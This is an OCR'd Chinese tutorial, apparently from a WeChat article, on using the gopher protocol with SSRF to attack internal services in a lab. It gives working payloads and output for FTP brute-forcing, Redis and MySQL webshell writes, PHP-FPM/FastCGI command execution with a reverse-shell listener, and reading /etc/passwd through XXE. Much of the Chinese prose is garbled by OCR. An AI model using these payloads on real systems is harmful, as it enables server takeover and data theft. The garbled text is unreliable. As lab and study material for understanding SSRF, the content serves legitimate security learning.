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Gopher HY{ER 24

X2 BT SHEBA 195 64 RXE.

£ 3714 4, TSRS 12 2.

H24=2 Gopher #1¥?

Gopher HYE—MEEIMY, BREEKRIT, D, ERSIEEREFR internet 19X
RIMLE, FEENXAMEREINY (http) HIMZREI, BER internet LHREEARSEMRERET
B, gopher £&EFZHIANZ L ENAIEIS.

Gopher XNMNEZFEHERRBINAKZR Anklesaria 55 2H), BHIBFHEEXERN:
1. BRRHNARFRIS M.

2. — M IERRRIBIF R G th iR — R N E RS BER A R ERI E.
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FTFHILL GET, POST 53K, BBEILASCEEX get iI5KEFN post i5KkE, BEMRMAFS
gopher tHYAYIEK, FIF Gopher FATRJLAXS FTP, Telnet, Redis, Memcache, &
F— TCP 89 exploit FEFEHITAMIGE, XEERARIAEE 7 I IRIBITEE.

Gopher &=,

Gopher EiAIROR 70:

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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URL:gopher://<host>:<port>/<gopher-path>
<gopher-path> AJLIZ FEHEFZ—HHEL:

<gophertype><selector>
<gophertype><selector>%09<search>

<gophertype><selector>%09<search>%09<gopher+_string>

ANEREME <port>, MiwCABIAS 70, <gophertype > B—PMEFFHFFE, Fx URL
FFr3 | FIRTERY Gopher 2884,

A <gopher-path> BEILIAZ, EXMER T, R /" BEFILAZ=, #8 <
gophertype > BRAN “ 1"

<selector> 2 Gopher iEZFE8=58, & Gopher t1M¥®, Gopher EFESFFTEE—
NI\FTFS, AILAEERR 09 +7ifs (US-ASCIHT iBlZReF) |, 0A 7St
(US-ASCIl ==fF LF) #1 0D (US-ASCIl ==£F CR) ZAMYER)\ =215,

<search> F3FA) gopher &5 |ZRIIEREIE, 1 < selector > Z[EIA %09 [@F.

Gopher ZFimBidfE Gopher<selector> FRFHEKIXE| Gopher [RSZEERIEEENRT
A,

QOMETAE R

HASCREEHE— B php {53

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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<?php
$b=$ REQUEST["a"]
echo $b;

?>

HAWGE— GET &,

GET /edit.php?a=Hi HTTP/1. 1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, */#;q=0. 8

Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en; q=0. 2

Accept-Encoding: gzip, deflate

Comnection: close

Cookie: Hm_lvt_edbdd6dlclecb393b622ebThd0601bT£=1585230031, 1585239369, Hm_lvt_ebT4350627920fdladcB6elcaed4f594=1585250031, 1585230369;
lbdshare_firstime=1592814981732

Upgrade-Insecure-Requests: 1

94 Burp #Ffl) GET BBAZSEL, BAITLIZER) 3 17.

GET /edit.php?a=Hi HTTP/1.1
Host: 127.0.0.1

Connection: close

g oYW
1. MRF-NFFR > BE < PBAEFHITFR, T RIREIRIATE.

2. WNERRT 3 NERFR + OK BPAEFIZITER

a3

B, RRERIFRE,

3. 56 \ r FRFEREHRRY %0d%0a,

4. EEITEIRA %0a,

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 4/36
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[BISFEEFEFT /I URL 45i5 %3f, BEIERTIEEEIRR %20,

6. 7£ HTTP BH&EZE %0d%0a, (KFEEER.

A ST EEE Y gopher YT,

curlgopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aC

onnection:%20close%0d%0a

:~# curl gopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a
HTTP/1.1 200 OK
Date: Thu, 16 Jul 2020 93:10:52 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

-

Content-Length /39 2,
POST Fi#, (HEFRE 517,

POST /edit.php HTTP/1.1
Host: 127.0.0.1

Connection: close
Content-Type: application/x-www-form-urlencoded

a=Hi

curlgopher://192.168.11.1:80/_P0ST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a
Connection:%20close%0@d%PaContent-Type:%20application/x-www-form-urlencoded%0d%0a

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 5/36
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:~# curl gopher://192.168.11.1:80/_P0ST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:¥20close%0d%@aConten
t-Type:%20application/x-ww-form-urlencoded%dd%da
HTTP/1.1 200 OK
Date: Thu, 16 Jul 2020 83:20:58 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.8.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27

Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

FATTLANGS, SSRF &1 gopher EBE,

765 —"18 SSRF 8GR PHP 18, XEi&XISEUETTIE,
<?php

$url = $ GET['url'];

$curlobj = curl_init($url);

echo curl_exec($curlobj);

7ER php.in EFF/F extension=php_curl.dll
Php iR4S > 5.3 (gopher #YFE 5.3 IRALA LA FHIa3H)
WS A 4444 iwO, FERTXISEESTIA):

192.168.11.1/ssrf2.php?url=gopher://192.168.11.130:4444/ hello

B ER T IESAARHRESThN /AN T A A
https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 6/36
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LWUISFZZITIRFIRAIERXTERYAOH | JUuHR3I—F1J.

# nc -lp 4444
hello

KRN E T R FRTIB AR B,

FTP JZ&H

AR FESS <RI FTP tEiR%, FIALEN—T.

I IP: 192.168.11.130

SSRF fR5528 IP: 192.168.1.11

FTP AR5588 IP: 192.168.11.136

B5%, SofE FTP B9lRSS 88 LK —TiA18) FTP RURERR, MNEHTMELE.

curl ftp://vsftp:vsftp@127.0.0.1/ [vsftplks: vsftp®id]

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 7/36
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& Activities Wireshark =
a.cap x

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al @B REQECDIRASFTEF & e @ E

[l—ftp X] '] Expression.. +

No. Time Source * Destination Protocol Length Info

[ | 19 20.872932 0.1 127.0.0.1 100 Response: 220 Welcome to blah FTP se
21 20.873026 127.0.0.1 127.0.0.1 FTP 78 Request: USER ~SaEna
23 20.873069 127.0.0.1 127.8.0.1 FTP 100 Response: 331 Please specify the pas
24 28.873097 127.0.8.1 127.0.0.1 FTP 86 Request: PASS
25 20.900456 127.0.0.1 127.8.0.1 FTP 89 Response: 230 Login successful.
26 20.908566 127.0.0.1 127.0.0.1 FTP 71 Request: PWD
27 20.900832 127.0.0.1 127.8.0.1 FTP 100 Response: 257 "/" 1s the current dir
28 20.908875 127.0.0.1 127.0.0.1 FTP 72 Request: EPSV
29 20.900964 127.0.0.1 127.8.0.1 FTP 114 Response: 229 Entering Extended Pass
33 20.901173 127.0.0.1 127.0.0.1 FTP 74 Request: TYPE A
34 20.901202 127.0.0.1 127.8.8.1 FTP 96 Response: 200 Switching to ASCII mod
35 20.901230 127.0.0.1 127.0.0.1 FTP 72 Request: LIST
36 20.901315 127.0.0.1 127.8.0.1 FTP 105 Response: 150 Here comes the directo
42 20.903040 127.0.0.1 127.0.0.1 FTP 9@ Response: 226 Directory send OK.
44 20.903108 127.0.0.1 127.0.0.1 FTP 72 Request: QUIT
45 20.903144 127.0.0.1 127.0.0.1 FTP 80 Response: 221 Goodbye.

4 Follow tcp steam , RFA ASCII &=, XEBEHA IR {RE USER PASSQUIT jX 3

FR AT INRIBEIREEE,

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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USER

PASS =
PWD

EPSV

TYPE A
LIST

QUIT

7 client pkts, O server pkts, 0 tums.
127.0.0.1:49374 5 127.0.0.1:21 (€ ~ | Show and save dataas ASC | Stream |1 |*

Find: | | Find Next

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 9/36
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& Help Filter Out This Stream Print Save as... Back ¥ Close

RIRRINEERRRY, gopher 15, B BP B EXIHH T —IREERDHHI TIRM.

+ 192.168.11.1/ssrf2.php?u X +

< X @ 192.168.11.1

Kali Linux Kali Training KaliTools = Kali Docs Kali Forums MetHunter ]| Offensive Security Exploit-DB GHDB ]| MSFU

220 Welcome to blah FTP service. 331 Please specify the password. 230 Login successful. 221 Goodbye. 1

Attack Save Columns

_[ Results T Target T Paositions T Payloads T Options ]

| Filter: Showing all iterns |®
Request | Payload | Status | Errar | imeout | Length ¥ | Comment
20 @ 200 O O 330 [}
i 200 O O 329 B
1 123123 200 O O 329
2 12312312 200 O O 329
3 1223123 200 O O 329
4 admin 200 O O 329
5 root 200 O O 329
3 pass 200 O O 329
7 123142 200 O O 329
8 jogfn 200 O O 329
9 sajhdsad 200 O O 329
10 sjhnrn 200 O O 329
1 johjn 200 O O 329 v
J Raw T Headers I Hex T Render ]
Connection: close A
Content-Type: textfhtml; charset=UTF-8
Content-Length: 1068

331 Please specify the password.
230 Login successful.

220 Welcome to blah FTP service. I

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 10/36
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221 Goodbye.
1

Gopher s fii F &1 45

E:I l;J l;J l;J -- a searin term

Finished [

REDIS

BB webshell B,

flushall

set 1 '<?php eval($_GET["cmd"]);?>"

config set dir /www/wwwroot/

config set dbfilename shell.php

save

H wireshark &2 00, BB\

GEEN tep IRERA:

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A

:6379>

:6379>

:6379>

:6379>

:6379>

:6379>

# redis-cli
flushall

set 1 "<?php eval($_GET["cmd"]);?>"
config set dir /www/wwroot/
config set dbfilename shell.php
save

exit

11/36
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cElgs 748, O Eas #48. O turn(s).
127.0.0.1:54064 » 127.0.0.1:6379 (214 bytes]~ ETRFFEFHER ASCI

Y2 BN REE A%, gopher 1Bfg, BkIN4EERL shell.php,

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 12/36
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dbfilename%0D%0A%2 44%0D%OAT00tRODXOAR2ALIXODXOAN2 44%0D%DASaveXODROAXOA "
* Trying 127.0.0.1:6379...

* TCP_NODELAY set

* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)

+0K
+0K
+0K
+0K
+0K

LIRFA T AT LARI R gopherus BiE4ERY, gopher 73
https://github.com/tarunkant/Gopherus

# python gopherus.py —exploit redis

Ready To get SHELL

PHPSHELL

<?php eval(@a$_PosT('a'l); >

gopher: //127.8.0.1:6379/ %2A1%0DX0AX248XADXOAF]ushal 1X0DXGAX2AIXADXDAK2 4 3XODXOAS e tXODXOAK2 4 1XODXOA1IXKODROAKD 43 2X0DXOAXOAROAXICXIFphpX20eval X2 BX40K24 POSTESH
X27a%2 7X50%2 9% 3| 3EXOAXQAXODXOAXD ALXODXOAX246XODXOAC onf i gXODXOAKD L 3XODXOAS e 1XODXOAX 4 3XODXOA] i rEODROARD 413X0DXOA/ var/ waw,/ htmL XODXOAXI ALXODKOAX L 6XODI
DA g% 3 Aset 24 10%X0D%OA] XODXOAX? 490 ell. phpX@DXOAX2A1%ODROAX? 4 XODXOAS DDLOAXOA

1AS
nfigXODEOAR: EOA%2 & bf 249%0DEBAShe’ hp¥ODEOAX2A1%0 A2 4 LEDDXN % DA

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 13/36
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RRIIHAT, BILARRIGIESRE,

<« C @ © & 192.168.11.130/shell php

REDIS0009¢ redis-ver6.0.5¢ redis-bits@ @@ ctimegb§_@used-mem@b@aof-preamble§ ¢ ¢ &

[P L o el E 1 A\ LAl comdBA #4 EUID At £ 0

N O=ss Deae O NEE (Iregss Qo O Bee 7 cEEms @ Hackear

Encryption ~ Encoding~ SQL v~ XSS~ Other ~

@ Load URL http://192.168.11.130/shell.php
;}g Split URL
Execut
"&J Postdata [] Referer [] User Agent [] Cookies Clear All
a=phpinfo();
URL IP ADDR NOTE CTIME UTIME

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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http://192.168.11.130 192.168.11.130 JShcrE S R 1 2020/07/21 02:18:53  2020/07/21 02:18:53

L I

Redis SRIEFBUAIARR T Webshell 24, BAiITBeJLAER crontab 738 shell, FIFEATFA
PEEERBIRRSEE, FTAELE.

MYSQL

MYSQL NIRRT 2 Ff
1. BRBAIE, IXFRMERYMMNERT, IRSEFSTXIEEN salt Z[FBHITIRIE,
2. THREMPAILE, BERIXHHEERIE,

MYSQL iA5 3 kR

1. Unix B, XFET linux & unix S8ET A client ] server isEEE—&
RN,

2. AFH=EEEMEEE. XMAT windows IMETHE clent ] server inff—&
FEAX.

3. TCP/IP, MZ{EHY, ERRIRSH—IPERSI.

AAFEARRRE T EAITRTLAGER TCP/IP R RGAUESRSCI L .

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 15/36
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S 1 NEEBHNAMERAR, B TMELE.

EFuREIA

mysql -h 127.0.0.1 -u ssrf -p

show version();

exit;

BASEIRGME S4B TILIER tep it raw 834,

e L2

23
4

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A

Wireshark - Follow TCP Stream (tcp.stream eq 0) - Loopback: lo —

2000000105aef 0100000001 TTOOPEOEOEODEOEHODOODOEROEDEOEDEDEOEEOEEOD
elefolelele]
16030101200100011ce303730b1deb138c4253bb6cPa7bcdb32eal3437e587c475
bfed1f5623adc325419720492b59625771ba849a2bo8747e8825e041b8be9066da
8ca5742444892079abf60048130213031301cB2bcB2ccO2fcB23cB27c030cO24cO
28009e0Pa20067004000a3006bON6aRE9TcO13cOOIcA14cOPanR32003300380039
083500840041009c009deA3cPE3doR2fERTfE100008bEAEDOROAB3000102000a00
OcPOPane1donl7001e00190018002300000016000000170000000d002a00280403
05030603080708080809080a080b08040805080604010501060103030301030204
0205020602002b000E50403040303002dEPO20101003300260024001d0020ce6TT6
ee22c6c7Tbb7bd9b87b900andaléc72e2ae9c7d7398ddT7e74b38bbb61
14030300010117030300197a7bTb4abT85664253c5036Teaa9bbec6e6elf97c3cO
aab6b421703030045c33b37d1836c51457022a77aed4559¢c122ch96T40d939358266
346a48af96e8342af34Tbco16c5972e3053ced79936b52737c46613132718e1353
d18b5b829b986409e59e5e
17030300c67c1a50e997853774cd7cT6217d1880eT0dc1201c813900279646c3eb
95ab07993Td2b136ae2ca7880b6a7346144527b20ab61901e720Ta371741535d25

afdeFfeannoa 34 AdAFAaAOFACINEN1cn AN T hadFFaF2N0aAalaTFA alanhDAEanAald ~n0A

Packet 13. 8 client pkts, 0 server pkts, O turns. Click to select.

B Heln Filter Out This Stream Print Save as. .. Back BAclose

N

127.0.0.1:48472 — 127.0.0.1:3306 ~ | Show and save data as | Raw * | Skream (O
Find: Find Next
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BE#HIT—IR urlencode #&z{4&48, MINBEINMAEE.

Warning: <FILE>=" to save to a file

e%d2%17%03%03%00%36%42%b8%70%3c%20%32%b7%C5%22%2b%0e%e 5%98%6 3%b7%a1%49% 1 a%aa%kc/
%04%14%T T%C 7%b9%8O%5e%Cc5%Cb% T 7%bb%7 2% T chbo%6a%ed% F6%96%2 % 19%83%70%76%25%66%ed:
Sa%ba%c F%52%F4%46%1b%17%03%03%00%26%a3%9a%0T%5F%d1%17%97%95%85%16% %aed
C%97%d7%b7%F0%64%aa%5a%4d%0T%62%56%9e% Fd%B5%ee%37%42%18%40%35%ad%3e%0d%F 7%17%0
%03%00%: 629%9b%Cb%c2%69%5d%23%a6%a7%95%90%ae%50%8ckec - -output -

8.0.20-0ubuntud.26.04.1
Jcaching_sha2_passwordzve++8n ¢z #lun! |

q¢Eaaapa¢9D ¢60= I+Yblgeeet-eXeAeeeTietSDe
yoo.+35 eveseeM Oefeoe

BABXE AT LA https://github.com/FoolMitAh/mysql gopher attack SCHY,
BIIXEZXESA phpinfo X4,

B ?Jzﬂl %E@Zﬁ'ﬁ)\ﬁ’]}ﬂ#&lﬁ AR & - sercure-file-priv EEEIAT, ARR

https://mp.weixin.qq. com/s/SJGV3I3JthngBtGgFf5A 17/36
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BESAZEERINE.

OFhiRA mysql sEFISHIHRNEEN Y, FESEHEITRINFIER.

# Allow pid, socket, soc
fvar frun/mysqld/mysqld.
fvar/run/mysqld/mysqld.sock rw,
fvar frun/mysqld/mysqld.sock.lock rw,
Jvar/run/mysqld/mysqlx.sock rw,
Jfvar/run/mysgld/mysqlx.sock.lock rw,

Jrun/mysgld/mysqld.pid rw,
Jrun/mysqld/mysqld.sock rw,
Jrun/mysqld/mysqld.sock.lock rw,
/run/mysqld/mysqlx.sock rw,
Jrun/mysqld/mysqlx.sock.lock rw,
Jvar fwww/html/** ruk, ]}

eg: python exploit.py -u root -p "" -d "" -P "PAYLOAD" -v -c

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 18/36
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B $ python exploit.py -u curl -d mysql -p "" -P "select '<?
php phpinfo();?=" into outfile '/var/www/html/h3.php';" -v -c

server handshake

0000 S5SBOOODOOOA382E30 2E32302D30756275 [....8.0.20-0ubu

0010 o6E7V475302E32302E 30342E31000A0000 ntud.20.04.1....

0020 0©001365F30792957 O6O00OFFFFFFO200FF

0030 C715000000000000 DOOOOOOOZETBV863

0040 4777062064210342 0063616368696E67 . d!.B.caching

0O50 5F736861325F7061 7373776F726400 _sha2_password.

client login packet:

0000 2C0000014FB70000 0000000121000000
00160 0©O000000000000000 0OOOOOOOOOOODOOGO
0020 0000000O6375726C QO0O6DTIV3I716C00

[+] Login Success
client Login Result packet:
000G ©700000200000002 QOOODOO

execute request packet
0000 410000000373656C 65637420273C3FT70 A....select '<7p
0010 o6B70207068B7VO0696E 666F28B293B3F3E27V hp phpinfo();?="'

e B Tt I T e T e e T P I T I Y

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 19/36
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execute result packet
0oee 0700000100010002 6000000

<?php phpinfo();?>"' into outfile '/var/www/html/h3.php'

Payload:
gopher://f127.0.0.1:3306/A%2C%00%00%000%B7%00%00%00%00%00%01%21%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00cuUr L%00%00mysql%00%40
"‘(:‘l(:‘l"‘0(:‘!"‘00"‘035c1ect”‘20"‘2?"‘ 3C%3Fphp%2ophpinfo%28%29%3B%3F%3E%27%201into%200utfile%
20%27 fvar fwww/html/h3. php%27%00%00%00%00

root@ubuntu: /var /www/html# cat h3.php
<?php phpinfo();?=>

FAST CGl

Cactl ]l (Cact CAanmmnmnan Matranimilintavfacal AT R oIS FAR Ytz =R ==lvy
https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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Fa>uCal (Fadt CUITITIUIT JdlewdyHiIlei 1die ) =I\E  [IKRBREBHMRIZI  , EEAM

XM (CGl) AYEEMA, M CGl RRAUHTIE, TEMAFKIES CGl F2F1ERE,
F CGIl, FastCGl B2—FMIRRERERS Web IRSRFEEAIMN.

Fastcgi thiXFZ record HRY, Hb recoed B2 header #] body, RSZEEHEHE
header # body %R fastcgi FUMNIESEEIFEIT tep A&iXLSE FPM (Fastcgi 1N EEHT
#7) . FPM R ERBHEERELSE A

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 21/36
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typedef struct {

/% Header %/
unsigned char version; // HRA

unsigned char type; // ARrecordfyER

unsigned char requestIdBl; // ZAZRrecord¥fRfyigKid
unsigned char requestIdBO;

unsigned char contentLengthBl; // body@&gIA/
unsigned char contentlLengthBO;

unsigned char paddinglength; // BSMEXI

unsigned char reserved;

/% Body */
unsigned char contentData[contentlLength];
unsigned char paddingData[paddinglength];

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 22/36
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Hrp FPM 1208 fastcgi BN TCP RFITA R IERIETE.

#AMBIF, FAFiAIE) http://127.0.0.1/index.php?a=18&b=2, MR web BRE /
var/www/abc, BBA Nginx SFFIXMEKRZRMINT key-value X3

'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/abc/index.php",
'SCRIPT_NAME': '/index.php',
"QUERY_STRING': '?a=1&b=2",
"REQUEST_URI': '/index.phpra=1&b=2",
'DOCUMENT_ROOT': '/var/www/abc',
'SERVER_SOFTWARE': ‘'php/fcgiclient’,
'REMOTE_ADDR': '127.0.0.1°,
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',

'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'

}

FPM 22| fastcgi BIEIREE, #HITHENT, B2 DAXLINGRE, A5, T
SCRIPT_FILENAME B{E#8MAY PHP 324, tBai2 / var/www/abc/index.php.,

iR php-fpm R script_filename BYEFRNIT php 3. WMNRIZUEAFE, T
\&[E 404,

AERIE:

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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1.NGINX 5 11S7 %I php MEHTRIE, $lanimia) http://127.0.0.1/1,jpg/.php R3siE

3T php 589 fix_pathinfo 4FiE, GNERiEUEERIZA / var/www/abc, BES5THIKT
SCRIPT FILENAME B / var/www/abc/1.jpg/.php BEFE, NEAFENEIERG—
A/ FIEENAS, #IB / var/www/abc/1.jpg 2EFE, WREENERE php Si#
.

2.PHP.INI FERNECELL, auto prepend file #1 auto append file, RILUEIZ {4
require EIRTE TWERITREBSEEER.

; Automatically add files before PHP document.
- http://php.net/auto-prependHile

auto prepend filegs

; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =

auto_prepend file EEHITEIRZBIZTCE S auto_prepend file FIgEAISCIA,
HATTLLE auto_prepend file iI87EA php://input, auto append file 2147
SRR ERSUES, B4 auto append file 18AAYSIE,

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 24/36
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Hrh FPM &8 2 NEEEEINTIRE PHP_VALUE #1 PHP_ADMIN_VALUE,

SENRER:

"PHP_VALUE': 'auto_prepend_file = php://input’,
"PHP_ADMIN_VALUE': 'allow_url_include = On'

RIS

libcurl fRA >=7.45.0(F8F EXP BBHE %00, CURL hxA/\TF 7.45.0 HORRA,

gopher B9 %00 S# &)
PHP-FPM s
PHP-FPM A& >= 5.3.3
FBRSSES LEE— php HHIEITEREE
FastCGl EAEAEAM 127.0.0.1 i[O ERY, XER P HHAZHHT,

https://gist.github.com/phithén/9615e2420f31048f7e30f3937356cf75

: # python fpm py 127.0.0.1 -p 9008 /ww htmlf ndex.php -c '<?php echo system('whoa ;7
PHP message: PHP Warning: Use of irderinsdlconstantihos assumed ‘whoami’ (this L BT A S T e e PHP) in php://input on lind
T type: text/html; h.ar' otalTF-8

wei~data
weni -data

B EHEHERIEAY gopher, Foisl 2333 w0,

- -~ - |
https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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BT

listening on [any] 2333 ...

connect to [127.0.8.1] from
sent @, rcvd 557

Gopher s fii F 545
-nvvlp

_UNKNOWN) [127.

8.1] 48362

B,

# python fpm.py 127.8.0.1 -p 2333 /var/www/html/index.php -c '<?php echo syste

Traceback fmnst recent call last):
File "fpm.py", line 251, in <module>
response = client.request(params, content)
File "fpm.py", line 188, in request
return self._ waitForResponse(requestId)
File "fpm.p line 193, in __waitForResponse
buf = self.sock.recv(512)
socket.timeout: timed out

BRI A HITEERRY urlencode ik,

Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.8] on linux2

Type "help®, "copyright®, "credits® or *license® for more information

»> f = open ("1.txt")
> ff = f.read
from urllib import quote
>>> print quote(ff)
%01%01%BCX17%00%0EX00XD0X00X01X00%00XO0X00XO0XOOND
SERVER_NAMElocalhostX¥11%0BGATEWAY_INTERFACEFastCGIL

. php%@BX17SCRIPT_NAME/var/wws/html/index.php%@9%1FPH LUEauto_prepend_ ﬁls-hﬂ'ﬂtliloplvpzlﬂf lnput%DE‘lﬂnREQUE ST METHDDPC
I%Bf%t}ﬂQLIEFV STRINGX@FX16PHP_ADMIN V)\LLIE&Lluvf url_includeX2

ndex.phpX¥01%84%8C%17%00%00%00%00%01X05%BCX1 7X00%22%00%00%X3CX3 Fphp%2

HATEDAT:

curl

FATRTLARIFS gopherus E#E4ER% gopher 75

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A

‘gopher://127.0.0.1:9000/_[_EE4ERY payload]’

0X30%200nX00%0 1DOCUMENT _ROO f’-aE"“}'lSERVER ADDR1.
Becho%20systemX2B8whoamiX29%3BexitX3BX20%X3FX3EX01%0!

whoami');exit; 7>'

0. 1% S.'-I?EEQUEST_UH fvar /v

SXBCX17%00%00%00%00
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# python gopherus.py - ploit

echo hello_fastcgi

Gopher s fii F &1 45

fastcgi

index.php

R_PROTOCOLHTTP/1, 1X0EX02CONTENT LENGTH7@XQEXO4REQUEST METHODPOSTX@IKPHP VALUEallow url includeX20%30%200n%0Adisable functionsX20%30%2
3 | - phpXeD%e 1DOCUMENT _ROOT/X00%00%00%00%0 150 4X00%0 1 X0OXO0XOOX00X01X05%00%01

@%8Aauto_prepend_fileX28%30%2@phpX3, inputX@FX17SCRIPT_FILENAME/

XPOFX04X00X3CKIFphpX20systemX28%27echoX20hello fastcgik27X29%3BdieX28%27-

Request

Raw | Params Headers Hex

/htm

—Made-by-SpyD3r--

Response

Raw | Headers

-X0AX27%20%IBXIFXIEXOOX00X00X00

Hex | Render

SET
‘ssrf.phpPurl=gopher®3as/127.0, 0. 1%3a3000/_%2501%250122500%2501%2500%250
2500%2500%2500%2501%250022500%2500%250 0% 250052 500%250 1%250 4%2500%2501%
2501525 04%2504%2500%250F%2510SERVER_SOFTHAREgo%2520,/%2520F cgiclient¥2520
1250B%2509REMOTE_ADDR127, 0, 0, 1%250FX2508SERVER_PROTOCOLHTTP/1, 1%250E%250
JCONTENT_LENGTHT0%250E%2504REQUEST_METHODPOST:2509KPHP_VALUEallow_url in
“1ude%2520%2530%25200n%2504d isable_functions%2520%2530%25204250Aauto_pre
send_file®2520%2530%2520phpk253A/ F inputH250F%2517SCRIPT_FILENAME fvar fu
‘html/index, php®2500%250700CUMENT _ROOT /%2500%2500%2500%2500%250 152504225
I0%2501%2500%2500%250 0%2500%2501%2505% 25002501 X2500FL2504%2500%253CX253
php2520systent2528%2527 $2520he1lo_fastcgi%2527%2529%2530d 1252802
2 ade-by-SpyD3r- 42529925 3B%253F 25 3EX2500%42500%2500
2500 HTTP/1.1

jost: 192,168,11,136

Jser-Agent: Mozillas5.0 (X11; Linux xB6_64; rv:6B.0) Gecko/20100101
firefox/68. 0

‘ccept: text/html, application/xhtml+xml, applicationxml;q=0.9,%/%;q=0.8
‘ccept-Language: en-US, en;q=0.5

‘ccept-Encoding: gzip, deflate

Zonnection: close

Jpgrade-Tnsecure-Requests: 1

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A

i HTTRS
r Serve
Date:
Contel
Conne
Conte

hello

1.1 200 0K
o ongina/1. 18

.0

Tue, 21 Jul 2020 10:14:39 GMT

nt-Type: text
ction: close
nt-Length: 11

_fastcgl
Made-by-Spyd3

I

Shtml;

2

T

/]

charset=UTF-8

Iﬂf} Qf Content-type: text/html; charset=UTF-8

ml/

27136
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A XIBE— JAVA-XXE BRI XXE SKIZEE AR TOMCAT IKS#ERS , &iaH
gopher 3#17 RCE,

TEAEXXE JR%5#%IP:192.168.11.139
Wit R4 281P:192.168.11.130

¥ ¥https://github.com/pimps/docker-java-xxe

XEBEEEZEEN BUG, FEEE app & index.htmlixxe-example.war #NEIFHZR
xxe-example,

root@ubuntu: /# docker run -e MANAGER USER=admin -e MANAGER PASSWORD=1234 -v /h
ome/1" - 2/Desktop/docker-java-xxe/app/xxe-example:/app -p 8080:8080 -t docker-j

ava-xxe

A 5T, xxe REREEEINEH XXE IRERS /A,
XEi3(a) 192.168.11.139:8080 F+97E XXE,

<!DOCTYPE Anything [

<!ENTITY xxe SYSTEM "file:///etc/passwd">
1>

<book>

<title>&xxe;</title>

<isbn>31337</isbn>

<author>Jon Snow</author>

</book>

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 28/36
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Gopher s fii F &1 45

Add a new book

<!DOCTYEE Anything [
<IENTITY xxe 3YITEM "file:///etc/passwd">
1
<book>
<titlerixxe;</titlex
<i=bn»31337</isba>
<author>Jon Snow</anthory
</book>

Add

Books in the database:

<txm] version="1.0" encoding="UTF-§8" standalone="ves"™><books>
<books

<guthor=Jon Snow=/author=

<id=f=/id=

<ighn=31337</izbn>

<title>The Man That Knows Nothing=/title=
<book=

<hook>

<guthor=Jon Snow=/author=

<id=5=id=

<ighn=31337</izbn>

<title>The Man That Knows Nothing=/title>
</book=

<book=

<guthor=Jon Snow=/author=

<id=T=/id>

<isbn=31337=/ishn=

<title>root:x:0:0:root-‘root: bin'bash
daemon=-1:1:daemon:/ner/sbin: ‘usr/shin/nelogin
bin:x:2:2-bin: bin:‘usr/shin/nelogin
sys:x:3:3:sysy/dev:usrsbin nologin
synex:4:65534:svne:bins/bin/syne
games:x:3:60: games: ‘usr/games: ‘usr/shin/nologin
man:x:6:12:man:/var/cache ‘man: usr'shin/nologin
Ip:x:7:Tilpovar/spool/Ipd:/usr/ shin‘melogin
mail:x:8:8:mail: varmail: usr/shimn‘nologin
news:x:9-0:news: var'spool/news: ‘usr/shin/nologin
mcpx: 10: 10:unep: var/spool wuep: usr'sbin/nologin
proxyx:13:13 ;promy:/bin:/nsr/shin nologin
wiww-datax-33:33 worw-datas/ var www: usr/ shin/nologin
